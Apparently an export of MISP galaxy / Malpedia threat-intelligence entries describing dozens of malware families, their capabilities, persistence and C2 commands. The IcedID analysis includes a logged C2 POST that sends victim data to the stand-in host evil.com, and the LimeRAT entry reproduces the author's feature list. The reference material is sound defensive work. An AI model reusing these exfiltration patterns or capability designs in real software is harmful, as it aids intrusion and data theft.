- JBifrost
- JSocket
- Sockrat
- UNRECOM

## jRAT

jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of of a red hering reference to jrat.io.

The tag is: *misp-galaxy:malpedia="jRAT"*

jRAT is also known as:

- Jacksbot

## Qarallax RAT

According to SpiderLabs, in May 2015 the "company" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).

The tag is: *misp-galaxy:malpedia="Qarallax RAT"*

Qarallax RAT is also known as:

*Table 943. Table References*

# QRat

QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, ...), and it comes as a SaaS. For additional historical context, please see [jar.qarallax](#).

The tag is: *misp-galaxy:malpedia="QRat"*

QRat is also known as:

- Quaverse RAT

## BELLHOP

- BELLHOP is a JavaScript backdoor interpreted using the native Windows Scripting Host(WSH). After performing some basic host information gathering, the BELLHOP dropper downloads a base64-encoded blob of JavaScript to disk and sets up persistence in three ways:
- Creating a Run key in the Registry
- Creating a RunOnce key in the Registry
- Creating a persistent named scheduled task
- BELLHOP communicates using HTTP and HTTPS with primarily benign sites such as Google Docs and PasteBin.

The tag is: *misp-galaxy:malpedia="BELLHOP"*

BELLHOP is also known as:

# More\_eggs

More\_eggs is a JavaScript backdoor used by the Cobalt group. It attempts to connect to its C&C server and retrieve tasks to carry out, some of which are: - d&exec = download and execute PE file - gtfo = delete files/startup entries and terminate - more\_eggs = download additional/new scripts - more\_onion = run new script and terminate current script - more\_power = run command shell commands

The tag is: *misp-galaxy:malpedia="More\_eggs"*

More\_eggs is also known as:

- SpicyOmelette

# SQLRat

SQLRat campaigns typically involve a lure document that includes an image overlaid by a VB Form trigger. Once a user has double-clicked the embedded image, the form executes a VB setup script. The script writes files to the path %appdata%\Roaming\Microsoft\Templates\, then creates two task entries triggered to run daily. The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot. The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters. After deobfuscating the file, the main JavaScript is easily recognizable. It contains a number of functions designed to drop files and execute scripts on a host system. The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables.

The tag is: *misp-galaxy:malpedia="SQLRat"*

SQLRat is also known as:

Table 963. Table References

# Dok

Dok a.k.a. Retefe is the macOS version of the banking trojan Retefe. It consists of a codesigned Mach-O dropper usually malspammed in an app bundle within a DMG disk image, posing as a document. The primary purpose of the dropper is to install a Tor client as well as a malicious CA certificate and proxy pac URL, in order to redirect traffic to targeted sites through their Tor node, effectively carrying out a MITM attack against selected web traffic. It also installs a custom hosts file to prevent access to Apple and VirusTotal. The macOS version shares its MO, many TTPs and infrastructure with the Windows counterpart.

The tag is: *misp-galaxy:malpedia="Dok"*

Dok is also known as:

## HALFBAKED

The HALFBAKED malware family consists of multiple components designed to establish and maintain a foothold in victim networks, with the ultimate goal of gaining access to sensitive financial information. HALFBAKED listens for the following commands from the C2 server:

```
info: Sends victim machine information (OS, Processor, BIOS and running processes)
using WMI
    queries
processList: Send list of process running
screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1)
runvbs: Executes a VB script
runexe: Executes EXE file
runps1: Executes PowerShell script
delete: Delete the specified file
update: Update the specified file
```

## 7ev3n

The NJCCIC describes 7ev3n as a ransomware "that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows

function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n."

## Aldibot

According to Trend Micro Encyclopedia: ALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.

This malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.

This bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.

This malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine's hardware identification (HWID), host name, local IP address, and OS version.

This backdoor executes commands from a remote malicious user, effectively compromising the affected system.

## AlphaLocker

A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just \$65 in bitcoin.

AlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware's author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.

AlphaLocker's encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user's computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA

key, and sent to the C&C server.

To decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~\$450) to get this key, packaged within a nice decrypter.

## ARS VBS Loader

ARS Loader, also known as ARS VBS Loader, is written in Visual Basic Script and its main purpose is to control an infected machine via different available commands, acting as a remote access trojan (RAT). Its code is based on ASPC, another Visual Basic Script malware, which at the same time seems to be based on SafeLoader.

## BACKBEND

FireEye describes BACKBEND as a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. When executed, BACKBEND checks for the presence of the mutexes MicrosoftZj or MicrosoftZjBak (both associated with BACKSPACE variants). If either of the mutexes exist, the malware exits.

## Belonard

Once set up in the system, Trojan.Belonard replaces the list of available game servers in the game client and creates proxies on the infected computer to spread the Trojan. As a rule, proxy servers show a lower ping, so other players will see them at the top of the list. By selecting one of them, a player gets redirected to a malicious server where their computer become infected with Trojan.Belonard.

# BillGates

BillGates is a modularized malware, of supposedly Chinese origin. Its main functionality is to perform DDoS attacks, with support for DNS amplification. Often, BillGates is delivered with one or many backdoor modules.

BillGates is available for \*nix-based systems as well as for Windows.

On Windows, the (Bill)Gates installer typically contains the various modules as linked resources.

## Breakthrough

There is no reference available for this family and all known samples have version 1.0.0.

Pdb-strings in the samples suggest that this is an "exclusive" loader, known as "breakthrough" (maybe), e.g. C:\Users\Exclusiv\Desktop\хп-пробив\Release\build.pdb

The communication url parameters are pretty unique in this combination: gate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8

<OS> is one of: Windows95 Windows98 WindowsMe Windows95family WindowsNT3 WindowsNT4 Windows2000 WindowsXP WindowsServer2003 WindowsNTfamily WindowsVista Windows7 Windows8 Windows10

## Cannibal Rat

Cannibal Rat is a python written remote access trojan with 4 versions as of March 2018. The RAT is reported to impact users of a Brazilian public sector management school. The RAT is distributed in a py2exe format, with the python27.dll and the python bytecode stored as a PE resource and the additional libraries zipped in the overlay of the executable.

# Casper

ESET describes Casper as a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against anti-malware software. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time.

# Cobalt Strike

Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.

The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.

The tag is: *misp-galaxy:malpedia="Cobalt Strike"*

Cobalt Strike is also known as:

# CryptoLocker

CryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.

## DanaBot

Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.

## Darksky

DarkSky is a botnet that is capable of downloading malware, conducting a number of network and application-layer distributed denial-of-service (DDoS) attacks, and detecting and evading security controls, such as sandboxes and virtual machines. It is advertised for sale on the dark web for \$20. Much of the malware that DarkSky has available to download onto targeted systems is associated with cryptocurrency-mining activity. The DDoS attacks that DarkSky can perform include DNS amplification attacks, TCP (SYN) flood, UDP flood, and HTTP flood. The botnet can also perform a check to determine whether or not the DDoS attack succeeded and turn infected systems into a SOCKS/HTTP proxy to route traffic to a remote server.

## Dharma

According to MalwareBytes, the Dharma Ransomware family is installed manually by attackers hacking into computers over Remote Desktop Protocol Services (RDP). The attackers will scan the Internet for computers running RDP, usually on TCP port 3389, and then attempt to brute force the password for the computer.

Once they gain access to the computer they will install the ransomware and let it encrypt the computer. If the attackers are able to encrypt other computers on the network, they will attempt to do so as well.

The tag is: *misp-galaxy:malpedia="Dharma"*

# Dridex

OxCERT blog describes Dridex as "an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term." According to MalwareBytes, "Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method." IBM X-Force discovered "a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems."

# ELMER

ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings. To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server, and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed.

The tag is: *misp-galaxy:malpedia="ELMER"*

ELMER is also known as:

- Elmost

# FakeDGA

According to Talos, this trojan injects into other processes, disables security features and tries to contact several domains, waiting for instruction.

There seem to be two versions of this malware: one with the FakeDGA-domains in plaintext, and one with AES-ECB-encrypted domains (using the Windows-API).

The tag is: *misp-galaxy:malpedia="FakeDGA"*

FakeDGA is also known as:

## Gameover P2P

Gameover Zeus is a peer-to-peer botnet based on components from the earlier Zeus trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover Zeus and its command and control servers.

The tag is: *misp-galaxy:malpedia="Gameover P2P"*

## Gaudox

Gaudox is a http loader, written in C/C++. The author claims to have put much effort into making this bot efficient and stable. Its rootkit functionality hides it in Windows Explorer (32bit only).

The tag is: *misp-galaxy:malpedia="Gaudox"*

Gaudox is also known as:

## GEMCUTTER

According to FireEye, GEMCUTTER is used in a similar capacity as BACKBEND (downloader), but maintains persistence by creating a Windows registry run key. GEMCUTTER checks for the presence of the mutex MicrosoftGMMZJ to ensure only one copy of GEMCUTTER is executing. If the mutex doesn't exist, the malware creates it and continues execution; otherwise, the malware signals the MicrosoftGMMExit event.

The tag is: *misp-galaxy:malpedia="GEMCUTTER"*

## Gozi

2000 Ursnif aka Snifula 2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(\*) → 2010 Gozi Prinimalka → Vawtrak/Neverquest

In 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed. It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.

In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.

## Grateful POS

POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card's magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system's memory unencrypted while the system determines where to send it for authorization. Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked

to some of the high-profile merchant breaches in the past.

## Havex RAT

Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as "Dragonfly" and "Energetic Bear". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.

Once installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.

Havex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.

## homefry

a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors. Some strings are obfuscated with XOR x56. The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session.

## IcedID

### Analysis Observations:

- It sets up persistence by creating a Scheduled Task with the following characteristics:
- Name: Update
- Trigger: At Log on
- Action: %LocalAppData%\\$Example\\waroupada.exe /i
- Conditions: Stop if the computer ceases to be idle.
- The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.
- The filename remained static during analysis.
- The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it
- If “/i” is not passed as an argument, it sets up persistence and waits for reboot.
- If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.
- Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so: rundll32.exe kernel32,Sleep -s
- Setup a local listener to proxy traffic on 127.0.0.1:50000

**[Example Log from C2 Network Communication]** [2018-03-19 12:45:55] [42078] [https\_443\_tcp 44785] [172.16.0.130:54803] connect [2018-03-19 12:45:55] [42078] [https\_443\_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1 [2018-03-19 12:45:55] [42078] [https\_443\_tcp 44785] [172.16.0.130:54803] recv: Connection: close [2018-03-19 12:45:55] [42078] [https\_443\_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded [2018-03-19 12:45:55] [42078] [https\_443\_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196 [2018-03-19 12:45:55] [42078] [https\_443\_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com [2018-03-19 12:45:55] [42078] [https\_443\_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)> [2018-03-19 12:45:55] [42078] [https\_443\_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2 [2018-03-19 12:45:55] [42078] [https\_443\_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** [2018-03-19 12:45:55] [42078] [https\_443\_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'. ## InnaputRAT

InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beacons to live C2 as of March 26, 2018.

## IRONHALO

IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.

The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named `igfxHK[%rand%].dat` and `igfxHK[%rand%].exe` respectively, where `[%rand%]` is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user's Startup folder.

The tag is: *misp-galaxy:malpedia="IRONHALO"*

IRONHALO is also known as:

## ISFB

2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(\*)

In September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.

The other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.

There is one panel which often was used in combination with ISFB: IAP. The panel's login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.

ISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.

In April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.

See win.gozi for additional historical information.

The tag is: *misp-galaxy:malpedia="ISFB"*

ISFB is also known as:

- Gozi ISFB
- IAP
- Pandemyia

## Kardon Loader

According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc. This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base.

## Karius

According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.

It comes with an injector that loads an intermediate "proxy" component, which in turn loads the actual banker component.

Communication with the c2 are in json format and encrypted with RC4 with a hardcoded key.

In the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.

## KleptoParasite Stealer

KleptoParasite Stealer is advertised on Hackforums as a noob-friendly stealer. It is modular and comes with a IP retriever module, a Outlook stealer (32bit/64bit) and a Chrome/Firefox stealer (32bit/64bit). Earlier versions come bundled (loader plus modules), newer versions come with a loader (167k) that grabs the modules.

PDB-strings suggest a relationship to JogLog v6 and v7.

The tag is: *misp-galaxy:malpedia="KleptoParasite Stealer"*

KleptoParasite Stealer is also known as:

- Joglog

## Kwampirs

Kwampirs is a family of malware which uses SMB to spread. It typically will not execute or deploy in environments in which there is no publicly available admin\$ share. It is a fully featured backdoor which can download additional modules. Typical C2 traffic is over HTTP and includes "q=[ENCRYPTED DATA]" in the URI.

## LimeRAT

### ## Description

Simple yet powerful RAT for Windows machines. This project is simple and easy to understand, It should give you a general knowledge about dotNET malwares and how it behaves.

# Main Features

- **.NET**
- Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0
- **Connection**
- Using pastebin.com as ip:port , Instead of noip.com DNS. And Also using multi-ports
- **Plugin**
- Using plugin system to decrease stub's size and lower the AV detection
- **Encryption**
- The communication between server & client is encrypted with AES
- **Spreading**
- Infecting all files and folders on USB drivers
- **Bypass**
- Low AV detection and undetected startup method
- **Lightweight**
- Payload size is about 25 KB
- **Anti Virtual Machines**
- Uninstall itself if the machine is virtual to avoid scanning or analyzing
- **Ransomware**
- Encrypting files on all HHD and USB with .Lime extension
- **XMR Miner**
- High performance Monero CPU miner with user idle\active optimizations
- **DDoS**
- Creating a powerful DDOS attack to make an online service unavailable
- **Crypto Stealer**
- Stealing Cryptocurrency sensitive data
- **Screen-Locker**
- Prevents user from accessing their Windows GUI
- **And more**
- On Connect Auto Task
- Force enable Windows RDP
- Persistence
- File manager
- Passowrds stealer
- Remote desktop

- Bitcoin grabber
- Downloader
- Keylogger

# Loda

Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.

The tag is: *misp-galaxy:malpedia="Loda"*

Loda is also known as:

## Loki Password Stealer (PWS)

"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMe

Loki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.

Loki-Bot accepts a single argument/switch of '-u' that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.

The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: "B7E1C2CC98066B250DDB2123".

Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: "%APPDATA%\ C98066".

There can be four files within the hidden %APPDATA% directory at any given time: ".exe," ".lck," ".hdb" and ".kdb." They will be named after characters 13 thru 18 of the Mutex. For example: "6B250D." Below is the explanation of their purpose:

FILE EXTENSION	FILE DESCRIPTION
.exe	A copy of the malware that will execute every time the user account is logged into
.lck	A lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts
.hdb	A database of hashes for data that has already been exfiltrated to the C2 server
.kdb	A database of keylogger data that has yet to be sent to the C2 server

If the user is privileged, Loki-Bot sets up persistence within the registry under HKEY\_LOCAL\_MACHINE. If not, it sets up persistence under HKEY\_CURRENT\_USER.

The first packet transmitted by Loki-Bot contains application data.

The second packet transmitted by Loki-Bot contains decrypted Windows credentials.

The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet is sent.

Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.

The first WORD of the HTTP Payload represents the Loki-Bot version.

The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:

BYTE PAYLOAD TYPE 0x26 Stolen Cryptocurrency Wallet 0x27 Stolen Application Data 0x28 Get C2 Commands from C2 Server 0x29 Stolen File 0x2A POS (Point of Sale?) 0x2B Keylogger Data 0x2C Screenshot

The 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!

Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.

The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.

Loki-Bot can accept the following instructions from the C2 Server:

BYTE INSTRUCTION DESCRIPTION 0x00 Download EXE & Execute 0x01 Download DLL & Load #1 0x02 Download DLL & Load #2 0x08 Delete HDB File 0x09 Start Keylogger 0x0A Mine & Steal Data 0x0E Exit Loki-Bot 0x0F Upgrade Loki-Bot 0x10 Change C2 Polling Frequency 0x11 Delete Executables & Exit

## N40

Botnet with focus on banks in Latin America and South America. Relies on DLL Sideload attacks to execute malicious DLL files. Uses legitimate VMWare executable in attacks. As of March 2019, the malware is under active development with updated versions coming out on persistent basis.

## NetWire RC

Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well.

Keylog files are stored on the infected machine in an obfuscated form. The algorithm is:

```
for i in range(0,num_read):
    buffer[i] = ((buffer[i]-0x24)^0x9D)&0xFF
```

The tag is: *misp-galaxy:malpedia="NetWire RC"*

NetWire RC is also known as:

## NjRAT

RedPacket Security describes NJRat as "a remote access trojan (RAT) has capabilities to log keystrokes, access the victim's camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim's desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives."

It is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.

The tag is: *misp-galaxy:malpedia="NjRAT"*

NjRAT is also known as:

- Bladabindi

## Nokki

Nokki is a RAT type malware which is believed to evolve from Konni RAT. This malware has been tied to attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. Researchers discovered a tie to the threat actor group known as Reaper also known as APT37.

# OLDBAIT

According to FireEye, OLDBAIT is a credential stealer that has been observed to be used by APT28. It targets Internet Explorer, Mozilla Firefox, Eudora, The Bat! (an email client by a Moldovan company), and Becky! (an email client made by a Japanese company). It can use both HTTP or SMTP to exfiltrate data. In some places it is mistakenly named "Sasfis", which however seems to be a completely different and unrelated malware family.

# OnionDuke

OnionDuke is a new sophisticated piece of malware distributed by threat actors through a malicious exit node on the Tor anonymity network appears to be related to the notorious MiniDuke, researchers at F-Secure discovered. According to experts, since at least February 2014, the threat actors have also distributed the threat through malicious versions of pirated software hosted on torrent websites.

## Orcus RAT

Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.

# PandaBanker

According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(\*). Fox IT discovered it in February 2016.

This banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.

The baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.

Panda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.

## Peepy RAT

Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/Crimson appearances. Peppy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs. Once Peppy successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins. Files are exfiltrated using HTTP POST requests.

## PlugX

RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim's machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.

Notable features of this malware family are the ability to execute commands on the affected machine to retrieve: machine information capture the screen send keyboard and mouse events keylogging reboot the system manage processes (create, kill and enumerate) manage services (create, start, stop, etc.); and manage Windows registry entries, open a shell, etc.

The malware also logs its events in a text log file.

## pupy (Windows)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: *misp-galaxy:malpedia="pupy (Windows)"*

pupy (Windows) is also known as:

# Pushdo

Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.

The tag is: *misp-galaxy:malpedia="Pushdo"*

Pushdo is also known as:

## Reaver

